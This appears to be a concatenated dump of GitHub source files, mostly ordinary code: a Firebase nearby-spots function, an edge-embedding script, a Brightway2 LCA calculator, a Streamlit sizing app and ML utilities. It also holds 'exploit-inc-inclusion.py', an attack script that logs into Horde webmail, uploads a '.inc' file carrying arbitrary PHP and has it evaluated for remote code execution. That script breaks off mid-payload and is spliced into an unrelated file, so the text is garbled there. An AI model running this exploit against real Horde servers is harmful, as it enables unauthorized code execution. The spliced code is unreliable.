firebase_admin import firestore\nfrom firebase_admin import credentials\nfrom geopy.distance import great_circle\n\n\ndef stroll_function(request):\n # Firebaseの初期化\n firebase_initialize()\n # Firestoreにアクセス\n db = firestore.client()\n # リクエストを受け取る\n request_json = request.get_json()\n latitude = request_json['latitude'] # 緯度\n longitude = request_json['longitude'] # 経度\n origin = \"{},{}\".format(latitude, longitude) # 現在地のGPS座標\n # FireStoreのDocument(スポット情報)を取得\n db_spots = db.collection('spots')\n # 現在地から近い3つの場所をスポットを決定する\n result = decision_close_spots(db=db_spots, origin=origin)\n # Jsonで返却\n print(result)\n result = json.dumps(result, ensure_ascii=False)\n return result\n\n# {'0': {'name': '寒梅酒造(株)', 'lat': 36.0650049, 'lng': 139.6754501}, '1': {'name': 'Bal style えんの蔵 久喜店', 'lat': 36.0673919, 'lng': 139.6754259}, '2': {'name': 'パティスリー・アソルティ', 'lat': 36.0647783, 'lng': 139.6804034}}\n\n\ndef decision_close_spots(db: object, origin: str):\n # 現在地->スポットまでの距離を計算して距離が小さい順に並び替え\n dist_spots = []\n doc = db.get()\n for spot in doc:\n info = spot.to_dict()\n dist_spots.append(great_circle(origin.split(\",\"), (info[\"lat\"], info[\"lng\"])).m)\n doc = np.array(doc)[np.argsort(dist_spots)]\n # 近い3スポットを返却\n result = {}\n for i in range(3):\n info = doc[i].to_dict()\n # 結果を格納\n result[str(i)] = {}\n result[str(i)][\"name\"] = info[\"name\"]\n result[str(i)][\"lat\"] = info[\"lat\"]\n result[str(i)][\"lng\"] = info[\"lng\"]\n return result\n\n\n# Firebaseの初期化\ndef firebase_initialize():\n if (not firebase_admin._apps):\n cred = credentials.Certificate(\"./auth/ai-award-team-chicken-firebase-adminsdk.json\") # 秘密鍵\n firebase_admin.initialize_app(cred)","repo_name":"dsml-lab/ai-award-team-chicken-apps","sub_path":"flaskAPI/functions/stroll.py","file_name":"stroll.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17032875955","text":"\ndef mutate_string(string, position, character):\n\t\tletters = list(string)\n\t\tletters[position] = character\n\t\treturn ''.join(letters)\n\nif __name__ == '__main__':\n\t\tstring = raw_input()\n\t\tindex, character = raw_input().split()\n\t\tnew_string = mutate_string(string, int(index), character)\n\t\tprint(new_string)","repo_name":"usman-tahir/hackerrank-python","sub_path":"strings/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40648038855","text":"from __future__ import print_function, division\nimport networkx as nx\nimport pdb\nimport sys\nimport numpy as np\nimport argparse\nimport csv\n\ndef load_edgelist(edge_list_path, args=None):\n if args is None or not args.weighted:\n G = nx.read_edgelist(edge_list_path)\n else:\n G = nx.read_edgelist(edge_list_path, data=(('weight', float),))\n return G\n\ndef load_embedding(emb_file, args=None): \n count = 0\n num_nodes = 0\n dim_size = 0\n node2vec = {}\n id_map = {}\n with open(emb_file) as f:\n for line in f:\n if count==0:\n num_nodes, dim_size = [int(val) for val in line.split()]\n else:\n data = line.split()\n node_id = data[0]\n vector = np.array(data[1:]).astype(np.float)\n node2vec[str(node_id)] = vector\n id_map[str(node_id)] = count - 1\n count += 1\n return node2vec, id_map, num_nodes, dim_size\n\ndef edge_emb(G, node2vec, func, args=None):\n edge2vec = {}\n for u,v,a in G.edges(data=True):\n t = (u,v)\n edge2vec[t] = func(node2vec[str(u)], node2vec[str(v)])\n return edge2vec\n\ndef avg(x,y):\n return (x+y) / 2\n\ndef hadamard(x,y):\n return np.multiply(x,y)\n\ndef l1(x,y, weight=1):\n return np.abs(x-y)\n\ndef l2(x,y, weight=1):\n return (x-y)**2\n\ndef main(args):\n G = load_edgelist(args.edgelist, args)\n node2vec, id_map, num_nodes, dim_size = load_embedding(args.nodeemb)\n func = globals()[args.func]\n edge2vec = edge_emb(G, node2vec, func)\n with open(args.output, 'w') as f:\n writer = csv.writer(f, delimiter=' ')\n writer.writerow([len(edge2vec), dim_size])\n for k in edge2vec:\n writer.writerow([k[0], k[1]] + edge2vec[k].tolist())\n f.close()\n return\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Generate edge embeddings from node embeddings\")\n parser.add_argument('--edgelist', default=\"/Users/tnguyen/dataspace/graph/wikipedia/edgelist/POS.edgelist\", help='Edgelist file')\n parser.add_argument('--nodeemb', default=\"/Users/tnguyen/dataspace/graph/wikipedia/emb/POS.emb\", help='Node embedding file')\n parser.add_argument('--output', default=\"/Users/tnguyen/dataspace/graph/wikipedia/emb/POS-edge.emb\", help='Node embedding file')\n parser.add_argument('--weighted', action='store_true', default=False, help='Weighted or not')\n parser.add_argument('--func', choices=['avg', 'hadamard','l1', 'l2'], default=\"avg\", help='Binary operator')\n return parser.parse_args()\n\nif __name__ == '__main__':\n args = parse_args()\n main(args)\n","repo_name":"tamlhp/net_emb","sub_path":"edge2vec/edge2vec.py","file_name":"edge2vec.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34354996371","text":"\"\"\"\nThis script outputs the LCIA results of interest for a given selection of activities\n\t- currently only support ecoinvent db, acceptiable names\n\t\t* \"ei35_cutoff\"\n\t\t* \"ei36_cutoff\"\n\t\t* \"ei371_cutoff\"\n\t- through a config file, this script can:\n\t\t* execute LCA calculations for multiple (1) activities, (2) impacts assessment methods\n\n\n\"\"\"\n\n\n\"\"\"\n===============\nImport packages\n===============\n\"\"\"\nfrom brightway2 import *\nimport argparse\nimport pandas as pd\nimport numpy as np\nimport sys\nimport os\nimport SE_config #this is a file that needs to be prepared separately\nfrom collections import defaultdict\n\n\n\"\"\"\n=============\nHouse keeping\n=============\n\"\"\"\n# currently supported db\ndb_supported = [\"ei35_cutoff\",\"ei36_cutoff\",\"ei371_cutoff\"]\n\n# [caution] run the following code lock, ONLY when impact assessment methods are not properly created\n#create_default_biosphere3()\n#print(\"Creating default LCIA methods\\n\")\n#create_default_lcia_methods(overwrite=True)\n#print(\"Creating core data migrations\\n\")\n#create_core_migrations()\n# [caution] end of code block\n\n\n\"\"\"\n================\ndefine functions\n================\n\"\"\"\ndef search_ei_act(ei_act_overview_df: pd.DataFrame, keywords_list: list) -> pd.DataFrame:\n\t\"\"\"\n\tthis function uses keywords to identify the activities (unit processes) of interest from a given ecoinvent database\n\tInput params:\n\t\t- ei_act_overview_df: a dataframe containing the overview of all activities in a given ecoinvent database\n\t\t- keywords_list: a list of [(activity, location)] of interest\n\tOutput params:\n\t\t- act_identified_df: a dataframe containing the activity names and locations\n\t\"\"\"\n\n\t# prepare a dict to store the activities identified\n\tact_identified_dict = {'name': [], 'location': []} # [CAUTION] the keys (i.e., 'name', 'location') should be exactly the same as the headers in bw2_cal_input.xlsx\n\n\t# obtained a list of (activity name, geography) from 'activity_overview_3.6_undefined_public_1.xlsx'\n\tavail_act_loc_list = list(zip(ei_act_overview_df['activity name'].tolist(), ei_act_overview_df['geography'].tolist()))\n\t#print(f\"avail activities and geography list: {avail_act_loc_list}\")\n\n\t# loop over the list of (activity, location) of interest\n\tfor act_loc_tuple in keywords_list:\n\t\tfor avail_act_loc_tuple in avail_act_loc_list:\n\t\t\t# kw of activitiy in activity name of ecoinvent AND locations are the same\n\t\t\t# [CAUTION] this may lead to multiple duplicated entries, as'activity_overview_3.6_undefined_public_1.xlsx' include the same activity for \n\t\t\t# each 'product name', if there are multiple products coming out of the same activity -> there will be mulitiple duplicated LCA results ->\n\t\t\t# longer runtime and duplicate rows in the output file\n\t\t\tif (act_loc_tuple[0].lower() in avail_act_loc_tuple[0].lower()) and (act_loc_tuple[1].lower() == avail_act_loc_tuple[1].lower() or act_loc_tuple [1].lower() == 'unspecified'):\n\t\t\t\tact_identified_dict['name'].append(avail_act_loc_tuple[0])\n\t\t\t\tact_identified_dict['location'].append(avail_act_loc_tuple[1])\n\n\tact_identified_df = pd.DataFrame(act_identified_dict)\n\n\treturn act_identified_df\n\n\ndef calc_lca(act_sheet: pd.DataFrame, lcia_method_sheet: pd.DataFrame, imported_db) -> pd.DataFrame:\n\t# inspired by https://github.com/brightway-lca/brightway2/blob/master/notebooks/Meta-analysis%20of%20LCIA%20methods.ipynb\n\n\t# prepare a list of (act_name, loc)\n\tact_loc_dict = act_sheet.to_dict('list')\n\tact_loc_tuples = list(zip(act_loc_dict['name'],act_loc_dict['location']))\n\t#print(act_loc_tuples)\n\n\t# prepare a list of activities retrived from db\n\tact_list = [act for act in imported_db for act_loc_tuple in act_loc_tuples if act_loc_tuple[0] in act['name'] and act_loc_tuple [1] in act['location']]\n\t#print(f\"activities identified from imported db: {act_list}\")\n\n\t# prepare a list of impact assessment methods\n\tlcia_methods = []\n\tfor bw_method in methods: # e.g., ('ReCiPe Endpoint (E,A) w/o LT','ecosystem quality w/o LT','freshwater eutrophication w/o LT')\n\t\tfor idx_lvl_0,lvl_0_name in enumerate(lcia_method_sheet['LCIA_method_lvl_0']):\n\t\t\tif lvl_0_name in bw_method[0]:\n\t\t\t\tif lcia_method_sheet['LCIA_method_lvl_1'].iloc[idx_lvl_0] in bw_method[1]:\n\t\t\t\t\tif lcia_method_sheet['LCIA_method_lvl_2'].iloc[idx_lvl_0] in bw_method[2]:\n\t\t\t\t\t\tlcia_methods.append(bw_method)\n\t\t\t\t\telse: continue\n\t\t\t\telse: continue \n\t\t\telse: continue\n\t\n\tprint(f\"impact assessment methods identified: {lcia_methods}\")\n\n\t# create a numpy array to store results\n\tlcia_results = np.zeros((len(act_list),len(lcia_methods)))\n\n\t# creat the technosphere matrix for faster calculation\n\ttmp_amt = next(iter(act_list[0].production()))['amount'] # https://stackoverflow.com/questions/68133565/negative-production-for-end-of-life-treatment-process\n\tlca = LCA({act_list[0]: tmp_amt}, method=lcia_methods[0])\n\tlca.lci()\n\tlca.decompose_technosphere() # A=LU speeds up the calculation, but when new technosphere matrix A is created, need to re-decompose\n\tlca.lcia() # load the method data\n\n\t# get the characterization factor matrix\n\tchar_matrices = []\n\tfor method in lcia_methods:\n\t\tlca.switch_method(method)\n\t\tchar_matrices.append(lca.characterization_matrix.copy())\n\n\t# loop over all activities of interest\n\tfor idx_1, act in enumerate(act_list):\n\t\t# update tmp_amt\n\t\ttmp_amt = next(iter(act.production()))['amount']\n\t\tlca.redo_lci({act:tmp_amt})\n\t\t#print(act)\n\t\tfor idx_2, matrix in enumerate(char_matrices):\n\t\t\tlcia_results[idx_1,idx_2] = (matrix * lca.inventory).sum()\n\n\t# create a df to store the LCA results for export\n\tlcia_results_df = pd.DataFrame(lcia_results, columns=lcia_methods)\n\tattibute_dict = defaultdict(list)\n\tfor act in act_list:\n\t\tattibute_dict['name'].append(act['name'])\n\t\tattibute_dict['location'].append(act['location'])\n\t\tattibute_dict['unit'].append(act['unit'])\n\tdf_tmp = pd.DataFrame.from_dict(attibute_dict)\n\tlcia_results_df = pd.concat([df_tmp,lcia_results_df],axis=1)\n\n\n\treturn lcia_results_df\n\n\nif __name__ == '__main__':\n\t\"\"\"\n\t======================\n\tParse input arguments\n\t=======================\n\t\"\"\"\n\t# set up arguments\n\tap = argparse.ArgumentParser()\n\tap.add_argument(\"-p\", \"--projectname\", help=\"name of the project\", required=True) # add an argument for project name\n\t#ap.add_argument(\"-c\", \"--config\", help=\"path to the configure file\", required=True) # add an argument for path to the config file\n\t# instead of asking user to input the values for the following arguments, read them from the config file\n\t#ap.add_argument(\"-d\", \"--database\", help=\"name of the ecoinvent database to use\", required=True), # add an arguement for ei db name\n\t#ap.add_argument(\"-o\", \"--output\", help=\"path the folder for output results\", required=False) # add an optinal argument for path to the output folder\n\n\t# parse arguments\n\targs = vars(ap.parse_args())\n\n\t# load information of interest\n\tlcia_method_sheet = pd.read_excel(SE_config.LCA_MODELS,sheet_name=\"LCIA_methods\")\n\tact_sheet = pd.read_excel(SE_config.LCA_MODELS,sheet_name=\"activities\")\n\tei_db_name = SE_config.EI_DB_NAME\n\tei_db_path = SE_config.EI_DB_PATH\n\tei_act_overview_df = pd.read_excel(SE_config.EI_OVERVIEW_FILE_PATH,sheet_name=\"activity overview\")\n\toutput_path = SE_config.OUTPUT_PATH\n\n\n\t\"\"\"\n\t==================\n\tSet up the project\n\t==================\n\t\"\"\"\n\tif not (args[\"projectname\"] in projects):\n\t\tprint(\"The project name you entered does not match any of the existing ones!!\", \"\\n\")\n\t\tuser_response = input(\"Do you want to create the project? [y/n]\")\n\t\tif user_response.lower() in ['yes','y']:\n\t\t\tprojects.set_current(args[\"projectname\"])\n\t\telse:\n\t\t\tsys.exit() # terminate the thread \n\n\t# set up db\n\tbw2setup()\n\n\t# import ecoinvent db, if it has not been imported\n\tif ei_db_name in db_supported:\n\t\t# check if the ei db already imported\n\t\tif ei_db_name in databases:\n\t\t\tprint(f\"[caution] {ei_db_name} alraedy imported!!\", \"\\n\")\n\t\telse:\n\t\t\tdb = SingleOutputEcospold2Importer(ei_db_path,ei_db_name, use_mp=False)\n\t\t\tdb.apply_strategies()\n\t\t\tdb.statistics()\n\t\t\tdb.write_database()\n\telse:\n\t\tprint(f\"[caution] the db name you provided does not match any of the following: {db_supported}!!\", \"\\n\")\n\n\t# set database to use\n\tdb = Database(ei_db_name)\n\n\n\t\"\"\"\n\t==========================\n\tOutput the LCIA results\n\t==========================\n\t\"\"\"\n\t# add additional activities of interest by searching through the ecoinvent activities overview sheet\n\tkeywords_list = [('wood','unspecified'),('steel', 'unspecified'),('concrete', 'unspecified'), ('aluminium', 'unspecified'),('paper', 'unspecified'),('straw', 'unspecified'),\n\t\t\t\t\t('cement','unspecified'),('aggregates','unspecified'),('brick','unspecified'),('copper','unspecified'),('mortar','unspecified'),('asphalt','unspecified'),\n\t\t\t\t\t('glass','unspecified'),('bitumen','unspecified'),('plastics','unspecified'),('carpet','unspecified'),('mineral','unspecified'),('clay','unspecified'), ('fill','unspecified'),\n\t\t\t\t\t('siding','unspecified'),('ceramic','unspecified'),('pvc','unspecified'),('plaster','unspecified'),('stone','unspecified'),('asbestos','unspecified'),('polystyrene','unspecified'),\n\t\t\t\t\t('heraklith','unspecified'),('lineoleum','unspecified'),('adobe','unspecified'),('gypsum','unspecified'),('wool','unspecified'),('insulation','unspecified'),\n\t\t\t\t\t('polyvinylchloride','unspecified'), ('gravel','unspecified')] \n\tact_identified_df = search_ei_act(ei_act_overview_df,keywords_list)\n\t#print(act_identified_df)\n\n\tact_sheet = pd.concat([act_sheet,act_identified_df])\n\t#print(act_sheet)\n\n\t# calculate the LCIA results\n\tlcia_results_df = calc_lca(act_sheet,lcia_method_sheet, db)\n\t#print (lcia_results_df)\n\n\t# exprot the results as .csv file\n\texport_name = 'LCA results.csv'\n\tlcia_results_df.to_csv(os.path.sep.join([output_path,export_name]))","repo_name":"SusBioRes-UBC/SBR-Collections","sub_path":"lca_calculator_bw2/lca_calculator_bw2.py","file_name":"lca_calculator_bw2.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9938512142","text":"def handleName(name, excludeFirstC = False):\n if \"Lâm\" in name:\n a = 1\n\n name = name.lower()\n firstStt = -1\n firstName = -1\n firstDayOfBorn = -1\n realStt = ''\n for ind, e in enumerate(name):\n if e in '0123456789':\n if firstStt < 0 and ind < 5:\n firstStt = ind\n elif (firstDayOfBorn < 0 or firstDayOfBorn < (firstStt + 5)) and ind > 10:\n firstDayOfBorn = ind\n if e in ' abcdefghijklmnopqrstuvwxyzđêơôơăâư':\n if firstName < 0:\n firstName = ind\n\n if firstStt > firstName:\n fisrtStt = -1\n if firstStt >= 0:\n stt = name[0:firstName]\n\n for e in str(stt):\n if e in '0123456789':\n realStt += e\n # print('first stt: ', firstStt, ' stt: ', name[0:firstName])\n if firstDayOfBorn >= 0:\n fullname = name[firstName:firstDayOfBorn]\n namsinh = name[firstDayOfBorn:]\n # print('first name: ', firstName, ' name: ', name[firstName:firstDayOfBorn])\n # print('first day: ', firstDayOfBorn, ' day: ', name[firstDayOfBorn:])\n else:\n fullname = name[firstName:]\n namsinh = ''\n # print('first Name: ', firstName, ' name: ', name[firstName:])\n fullname = fullname.split('.jpg')[0].split('sn')[0]. \\\n split('ns')[0].split(',')[0]\\\n .split('-')[0]\\\n .strip()\n if excludeFirstC:\n fullname = ' '.join(fullname.split(' ')[1:]).strip()\n namsinh = namsinh.split('.jpg')[0].split('_')[0].strip()\n\n return [realStt, fullname, namsinh]\n\n","repo_name":"sangtranhcm94/ChangeNameTool","sub_path":"funcName.py","file_name":"funcName.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17341908534","text":"import tornado.ioloop\nimport tornado.web\nimport tornado.gen\nimport logging\nimport pg_wrapper\nimport os\n\ndef task_checkanswer(pg_file, answers, seed, callback=None):\n callback(pg_wrapper.checkanswer(pg_file, answers, int(seed)))\n \nclass CheckAnswer(tornado.web.RequestHandler):\n \"\"\"Check answers with PG\"\"\"\n @tornado.web.asynchronous\n @tornado.gen.coroutine\n def post(self):\n \"\"\"POST /checkanswer\n \n checkanswer makes a call to a perl script scripts/checkanswer.pl. More info [link].\n \n Inputs:\n pg_file: ...\n seed: ...\n Output:\n Answer dictionary descrbied in pg_wrapper.py\n \"\"\"\n pg_file = self.get_argument(\"pg_file\", default='', strip=False)\n seed = self.get_argument(\"seed\", default='1', strip=False)\n\n # get AnSwEr*\n answers = {}\n for key in self.request.arguments:\n if key.startswith('AnSwEr'):\n answers[key] = self.request.arguments[key][0]\n \n if not os.path.isfile(pg_file):\n self.set_status(500)\n self.write(\"PG file not found\\n\")\n return\n \n if len(answers) == 0:\n self.set_status(500)\n self.write(\"No answers given\\n\")\n return\n \n results = yield tornado.gen.Task(task_checkanswer,\n pg_file, answers, int(seed))\n \n if results is None:\n self.set_status(500)\n self.write(\"Something went wrong\\n\")\n return\n \n self.write(results)\n","repo_name":"sunsern/adaptive-hint","sub_path":"server/rest_server/checkanswer.py","file_name":"checkanswer.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36392652541","text":"from math import inf\n\nfrom geometry.segment import Segment\n\n\ndef get_optimal_point(points):\n \"\"\"\n Returns the point the sum of the distances\n from which to other points is minimal\n \"\"\"\n min_length = inf\n point = None\n\n for i in range(0, len(points)):\n length = 0\n\n for j in range(0, len(points)):\n if i == j:\n continue\n\n length += Segment(points[i], points[j]).length()\n\n if min_length > length:\n min_length = length\n point = points[i]\n\n return point\n\n\ndef get_far_point(points):\n far_point = None\n far_distance = 0\n\n for point in points:\n distance = point.get_distance()\n\n if distance >= far_distance:\n far_point = point\n far_distance = distance\n\n return far_point\n\n\ndef get_left_up_far_point(points):\n far_point = None\n far_index = -inf\n\n for point in points:\n index = -point.x + point.y\n\n if index >= far_index:\n far_point = point\n far_index = index\n\n return far_point\n","repo_name":"andrew-malikov/computational-geometry","sub_path":"geometry/point_utils.py","file_name":"point_utils.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32556416638","text":"## exploit-inc-inclusion.py\n#!/usr/bin/env python3\nfrom horde import Horde\nimport subprocess\nimport sys\n\nTEMP_DIR = '/tmp'\n\nif len(sys.argv) < 5:\n print('Usage: ')\n sys.exit(1)\n\nbase_url = sys.argv[1]\nusername = sys.argv[2]\npassword = sys.argv[3]\nfilename = sys.argv[4]\nphp_code = sys.argv[5]\n\n# log into the web application\nhorde = Horde(base_url, username, password)\n\n# upload (delete manually) and evaluate the .inc file\nhorde.upload_to_tmp('{}.inc'.format(filename), ' 0 and (len(preds) - sum_f) > 0:\n for f in preds:\n c = f * q / sum_f > (1-q)*(1 - f)/(len(preds) - sum_f)\n cmn_preds.append(c)\n else:\n print(\"bad case - just returning preds\")\n return preds\n #for f in preds:\n# c = 0\n # we should be ignoring this one va\n #cmn_preds.append(int(-1)*np.ones(len(f)))\n return cmn_preds\n\ndef define_vectorized_accuracy(y_true, binary,thresh=\"cmn\"):\n '''\n Args:\n y_true (np array): vector of true values with which to compare\n binary (bool): are we doing binary classification?\n thresh (float or \"cmn\" or None): if we're threshholding on a scalar value, using cmn,\n or none of the above.\n Returns:\n vectorized accuracy function for the specified problem\n Description: defines a vectorized function for computing accuracy.\n '''\n def this_accuracy(y_pred):\n if binary:\n if thresh == \"cmn\":\n preds_bin = cmn(0.5,y_pred)\n else:\n preds_bin = y_pred > thresh\n \n return(sklearn.metrics.accuracy_score(y_true,preds_bin))\n # not binary\n else:\n return(sklearn.metrics.r2_score(y_true,y_pred))\n \n return np.vectorize(this_accuracy) \n\ndef define_accuracy(y_true, binary,thresh):\n '''\n Args:\n y_true (np array): vector of true values with which to compare\n binary (bool): are we doing binary classification?\n thresh (float or \"cmn\" or None): if we're threshholding on a scalar value, using cmn,\n or none of the above.\n Returns:\n vectorized accuracy function for the specified problem\n Description: defines a vectorized function for computing accuracy.\n '''\n def this_accuracy(y_pred):\n if binary:\n if thresh == \"cmn\":\n preds_bin = cmn(0.5,y_pred)\n else:\n preds_bin = y_pred > thresh\n \n return(sklearn.metrics.accuracy_score(y_true,preds_bin))\n # not binary\n else:\n return(sklearn.metrics.r2_score(y_true,y_pred))\n \n return this_accuracy\n","repo_name":"estherrolf/p-es","sub_path":"scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"30471322494","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport base64\nfrom PIL import Image\n\nst.set_page_config(page_title='Interactive Sizing App', layout='wide',page_icon='wooper.ico')\ncol1, col2, col3 = st.columns([1, 1, 1])\nimage = Image.open('Olea_logo.png') \nnew_image = image.resize((140, 100))\nwith col1:\n st.image(new_image)\nwith col2:\n st.markdown(\"\"\" \"\"\", unsafe_allow_html=True)\n st.markdown('

Sizing Error

', unsafe_allow_html=True)\n st.markdown(\"\"\" \"\"\", unsafe_allow_html=True)\n st.markdown('

Meter size Effect on Accuracy

', unsafe_allow_html=True)\nst.markdown(\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n\nline_rgb = 'rgb(2, 135, 202)'\nbottom_zone_rgb = 'rgb(242, 90, 90)'\nmiddle_zone_rgb = 'rgb(255, 191, 128)'\ntop_zone_rgb = 'rgb(185, 223, 209)'\n# Function to calculate time duration\ndef interpolated_intercepts(x, y1, y2):\n\n def intercept(point1, point2, point3, point4):\n\n def line(p1, p2):\n A = (p1[1] - p2[1])\n B = (p2[0] - p1[0])\n C = (p1[0]*p2[1] - p2[0]*p1[1])\n return A, B, -C\n\n def intersection(L1, L2):\n D = L1[0] * L2[1] - L1[1] * L2[0]\n Dx = L1[2] * L2[1] - L1[1] * L2[2]\n Dy = L1[0] * L2[2] - L1[2] * L2[0]\n\n x = Dx / D\n y = Dy / D\n return x,y\n\n L1 = line([point1[0],point1[1]], [point2[0],point2[1]])\n L2 = line([point3[0],point3[1]], [point4[0],point4[1]])\n\n R = intersection(L1, L2)\n\n return R\n\n idxs = np.argwhere(np.diff(np.sign(y1 - y2)) != 0)\n\n xcs = []\n ycs = []\n\n for idx in idxs:\n xc, yc = intercept((x[idx], y1[idx]),((x[idx+1], y1[idx+1])), ((x[idx], y2[idx])), ((x[idx+1], y2[idx+1])))\n xcs.append(xc)\n ycs.append(yc)\n return np.array(xcs), np.array(ycs)\n\n\ninitial_level = 8\n\ncol1, col2 = st.columns([2, 1])\nwith col1:\n plot_spot = st.empty()\nwith col2:\n video_spot = st.empty() \n\n\nmetrics_spot = st.empty()\n\n\n# input widgets\ncol1, col2 = st.columns([2, 1])\n\nwith col1:\n hour_to_filter = st.slider('Diameter (Inch)', 1, 8, initial_level)\n\nwith col2:\n meter_type = st.radio(\n \"Sample meter\",\n ('Meter #1', 'Meter #2', 'Meter #3'))\n\n# input dependent calculations\nif meter_type == 'Meter #1':\n data = pd.read_csv('plot_data.csv', header=None)\n data.columns = ['ocr_val', 'hours']\n data.ocr_val = data.ocr_val.values + 8.25\nif meter_type == 'Meter #2':\n data = pd.read_csv('plot_data.csv', header=None)\n data.columns = ['ocr_val', 'hours']\n data.ocr_val = 2*data['ocr_val'].mean() - data.ocr_val.values + 3.2 + 11\nif meter_type == 'Meter #3':\n data = pd.read_csv('plot_data.csv', header=None)\n data.columns = ['ocr_val', 'hours']\n data.ocr_val = data.ocr_val.values[::-1] + 7 + 5\n\ndata['hours'] -= data['hours'][0]\ndata['date'] = pd.to_datetime(27,errors='ignore', unit='d',origin='2022-08')\ndata['date'] = data['date'] + pd.to_timedelta(data['hours'], unit='h')\nlower_limit = hour_to_filter\nupper_limit = 6 + 1.5*lower_limit\nlimit = max(upper_limit + 4.5,data['ocr_val'].max() + 1.0)\n\ndata['lower_limit'] = lower_limit\ndata['upper_limit'] = upper_limit\ndata['limit'] = limit\ndata['minutes'] = data['hours']*60\n#plot\nline = go.Scatter(\n x=data['date'], \n y=data['ocr_val'], \n mode=\"lines+markers\",\n line=dict(width=5.0, color=line_rgb),\n name=\"OCR\"\n )\nfig1 = go.Figure(\n data=line,\n layout=go.Layout(showlegend=False)\n)\nfig2 = go.Figure(data=[go.Scatter(\n x = data['date'],\n y = data['lower_limit'],\n line=dict(width=0.1, color=bottom_zone_rgb),\n name=\"<95% Accuracy\",\n stackgroup='one'),\n go.Scatter(\n x = data['date'],\n y = data['upper_limit']-data['lower_limit'],\n line=dict(width=0.1, color=middle_zone_rgb),\n name=\"<98.5% Accuracy\",\n stackgroup='one'),\n go.Scatter(\n x = data['date'],\n y = data['limit']-data['upper_limit'],\n line=dict(width=0.1, color=top_zone_rgb),\n showlegend=False,\n stackgroup='one')\n])\nfig3 = go.Figure(data=fig2.data + fig1.data)\nfig3.update_layout(\n title=\"\",\n xaxis_title=\"\",\n yaxis_title=\"OCR (GPM)\",\n legend_title=\"\",\n showlegend=True,\n xaxis_range=[data['date'][0],data['date'][data.index[-1]]],\n yaxis_range=[0,limit],\n width = 800,\n height = 300,\n margin=dict(l=0, r=0, t=0, b=0),\n legend=dict(\n orientation=\"h\",\n yanchor=\"bottom\",\n y=1.02,\n xanchor=\"right\",\n x=1\n)\n #plot_bgcolor = 'rgb(242, 242, 242)'\n)\nwith plot_spot:\n st.plotly_chart(fig3)\n\nvideo_logic_df = pd.read_csv('video_logic.csv')\nvideo_no = video_logic_df[meter_type][hour_to_filter-1]\nvideo_file = 'sizing' + str(video_no) + '.mp4'\nwith video_spot:\n with open(video_file, \"rb\") as f:\n\n video_content = f.read()\n\n video_str = f\"data:video/mp4;base64,{base64.b64encode(video_content).decode()}\"\n st.markdown(f\"\"\"\n \n \"\"\", unsafe_allow_html=True)\n \n# calculate time_duration_red and time_duration_orange\n\nxcs, ycs = interpolated_intercepts(data['minutes'].to_numpy(),data['ocr_val'].to_numpy(),data['lower_limit'].to_numpy())\nif xcs.size == 0:\n if data['ocr_val'][0] < lower_limit:\n time_duration_red = data['minutes'][data.index[-1]]\n else:\n time_duration_red = 0\nelse:\n time_diff = np.diff(xcs.flatten())\n initial_sign = np.interp(xcs[0]+0.01, data['minutes'].to_numpy(), data['ocr_val'].to_numpy()) - lower_limit\n if initial_sign>0:\n time_duration_red = time_diff[1::2].sum()\n time_duration_red = time_duration_red + float(xcs[0]-data['minutes'][0])\n else:\n time_duration_red = time_diff[::2].sum()\n final_sign = np.interp(xcs[-1]+0.01, data['minutes'].to_numpy(), data['ocr_val'].to_numpy()) - lower_limit\n if final_sign<0:\n time_duration_red = time_duration_red + float(data['minutes'][data.index[-1]] - xcs[-1])\nxcs, ycs = interpolated_intercepts(data['minutes'].to_numpy(),data['ocr_val'].to_numpy(),data['upper_limit'].to_numpy())\nif xcs.size == 0:\n if data['ocr_val'][0] < upper_limit:\n time_duration_redorange = data['minutes'][data.index[-1]]\n else:\n time_duration_redorange = 0\nelse:\n time_diff = np.diff(xcs.flatten())\n initial_sign = np.interp(xcs[0]+0.01, data['minutes'].to_numpy(), data['ocr_val'].to_numpy()) - upper_limit\n if initial_sign>0:\n time_duration_redorange = time_diff[1::2].sum()\n time_duration_redorange = time_duration_redorange + float(xcs[0]-data['minutes'][0])\n else:\n time_duration_redorange = time_diff[::2].sum()\n final_sign = np.interp(xcs[-1]+0.01, data['minutes'].to_numpy(), data['ocr_val'].to_numpy()) - upper_limit\n if final_sign<0:\n time_duration_redorange = time_duration_redorange + float(data['minutes'][data.index[-1]] - xcs[-1])\ntime_duration_redorange_pct=np.round(time_duration_redorange/data['minutes'][data.index[-1]]*100,2)\ntime_duration_red_pct=np.round(time_duration_red/data['minutes'][data.index[-1]]*100,2)\nwith metrics_spot:\n col1, col2, col3, col4 = st.columns([1,2,2,3])\n col2.metric(label=\"Time duration <98.5% Accuracy\", value=\"{} %\".format(time_duration_redorange_pct), delta=None)\n col3.metric(label=\"Time duration <95% Accuracy\", value=\"{} %\".format(time_duration_red_pct), delta=None)\n\ncol1, col2, col3, col4 = st.columns([1,4,4,1])\nwith col4:\n st.write('Not to scale')","repo_name":"a-stahl/interactive-sizing","sub_path":"interactive_app.py","file_name":"interactive_app.py","file_ext":"py","file_size_in_byte":8381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37346179618","text":"# # 烤鸡腿\n# class Chiken(object):\n# def __init__(self):\n# self.cook_time = 